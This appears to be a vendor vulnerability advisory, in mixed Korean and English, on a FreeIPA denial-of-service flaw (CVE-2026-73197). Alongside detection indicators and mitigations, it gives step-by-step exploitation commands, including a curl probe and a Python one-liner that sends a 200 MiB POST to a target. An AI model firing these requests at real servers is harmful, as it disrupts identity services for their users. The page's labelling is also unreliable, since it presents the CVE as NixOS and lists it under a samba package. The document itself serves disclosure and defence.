CVE-2026-73197
NixOS 취약성 분석 및 완화

개요

CVE-2026-73197 is a denial-of-service vulnerability in FreeIPA caused by unbounded request body reads in the /ipa/migration/migration.py WSGI endpoint. A remote, unauthenticated attacker can send oversized form POST requests to force the migration handler to read attacker-controlled data fully into memory, leading to memory exhaustion and service disruption. It affects FreeIPA versions prior to 4.13.3 and Red Hat Enterprise Linux versions 6, 7, 8, 9, and 10. Disclosed on August 20, 2026, it carries a CVSS v3.1 base score of 7.5 (High) (Red Hat Advisory, Github Advisory).

기술적 세부 사항

The root cause is CWE-770 (Allocation of Resources Without Limits or Throttling). The vulnerable WSGI handler in install/migration/migration.py reads the full request body into memory based on the attacker-supplied CONTENT_LENGTH header without imposing any application-level size cap before the read operation. The shipped Apache configuration exposes the /ipa/migration endpoint without authentication (Require all granted), making it reachable by any network client. Exploitation requires only network access to the endpoint and the ability to send large application/x-www-form-urlencoded POST requests — no credentials or special preconditions are needed (Red Hat Bugzilla).

영향

Successful exploitation results in high availability impact against the FreeIPA service: WSGI worker memory pressure increases, request handling slows, and workers may be recycled or fail, causing service disruption or denial of service. There is no confidentiality or integrity impact — attackers cannot read data or modify system state through this vulnerability. In environments where FreeIPA serves as a central identity and authentication provider, sustained exploitation could disrupt authentication services for dependent systems (Red Hat Advisory, Red Hat Bugzilla).

악용 가능성

No public exploit code or active in-the-wild exploitation has been reported as of the disclosure date. The vulnerability is classified as automatable (no user interaction required) with a low attack complexity, making it straightforward to exploit at scale. The EPSS score is approximately 0.35%, indicating a low near-term exploitation probability. No threat actor attribution or CISA KEV catalog listing has been identified (Github Advisory, Red Hat Advisory).

착취 단계

  1. Reconnaissance: Identify FreeIPA servers with the /ipa/migration endpoint exposed, using tools like Shodan, Censys, or direct HTTP probing (e.g., curl -k -i https://<target>/ipa/migration/migration.py).
  2. Confirm unauthenticated access: Send a small test POST request to verify the endpoint responds without requiring credentials: curl -k -i https://<target>/ipa/migration/migration.py -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'username=a&password=b'.
  3. Send oversized POST body: Craft and send a large application/x-www-form-urlencoded POST request with a body sized to exhaust worker memory (e.g., 200 MiB): python3 -c "import requests; u='https://<target>/ipa/migration/migration.py'; d='username=a&password='+'A'*(200*1024*1024); print(requests.post(u,data=d,headers={'Content-Type':'application/x-www-form-urlencoded'},verify=False,timeout=120).status_code)".
  4. Repeat or parallelize: Send multiple concurrent oversized requests from one or more clients to amplify memory pressure and accelerate worker exhaustion.
  5. Observe impact: Monitor for increased httpd/WSGI worker RSS, slower response times, worker recycling, or full service unavailability on the target FreeIPA server (Red Hat Bugzilla).

타협의 징후

  • Network: Unusually large HTTP POST requests (hundreds of MiB) to /ipa/migration/migration.py or /ipa/migration/ from external or unexpected source IPs; high volume of POST requests to the migration endpoint in a short time window.
  • Logs: Apache/httpd access logs showing repeated large Content-Length values in POST requests to /ipa/migration/migration.py; error logs showing WSGI worker restarts or memory-related failures.
  • Process: Elevated RSS/memory usage on httpd or WSGI worker processes; frequent worker recycling events visible in systemd journal or Apache error logs.
  • System: Sudden spikes in system memory consumption correlated with incoming requests to the migration endpoint; OOM killer events in /var/log/messages or dmesg output (Red Hat Bugzilla).

완화 및 해결 방법

The fix is included in FreeIPA version 4.13.3 and later — organizations should upgrade to this version or a patched downstream package. As an immediate workaround, if the /ipa/migration endpoint is not required, disable it by commenting out the Alias /ipa/migration directive and its corresponding <Location> block in /etc/httpd/conf.d/ipa.conf. If the endpoint must remain active, add a LimitRequestBody 1048576 directive (1 MiB) within the migration endpoint's <Location> block to reject oversized bodies before they reach the WSGI handler. After any Apache configuration change, reload or restart httpd to apply the changes (Red Hat Advisory, Red Hat Bugzilla).

커뮤니티 반응

Red Hat credited AISLE Research for discovering and reporting this vulnerability. The issue was noted on Mastodon by security community accounts including TheHackerWire and RedPacketSecurity shortly after disclosure. Coverage was also picked up by the German Linux security news site pro-linux.de as part of a broader FreeIPA security roundup (Red Hat Advisory).

추가 자료


근원이 보고서는 AI를 사용하여 생성되었습니다.

관련 NixOS 취약점:

CVE ID

심각도

점수

기술

구성 요소 이름

CISA KEV 익스플로잇

수정 사항이 있습니다.

게시된 날짜

CVE-2026-13097HIGH8.7
  • NixOS logoNixOS
  • python3-ldb-debuginfo
아니요Aug 20, 2026
CVE-2026-73198HIGH7.5
  • NixOS logoNixOS
  • samba-winexe
아니요Aug 20, 2026
CVE-2026-73197HIGH7.5
  • NixOS logoNixOS
  • python3-samba-debuginfo
아니요Aug 20, 2026
CVE-2026-73196MEDIUM6.5
  • NixOS logoNixOS
  • samba-ndr-libs-debuginfo
아니요Aug 20, 2026
CVE-2026-64777MEDIUM4.3
  • NixOS logoNixOS
  • container
아니요Aug 20, 2026

무료 취약성 평가

클라우드 보안 태세를 벤치마킹합니다

9개의 보안 도메인에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 식별합니다.

평가 요청

추가 Wiz 리소스

맞춤형 데모 받기

맞춤형 데모 신청하기

"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
데이비드 에슬릭최고정보책임자(CISO)
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
아담 플레처최고 보안 책임자(CSO)
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."
그렉 포니아토프스키위협 및 취약성 관리 책임자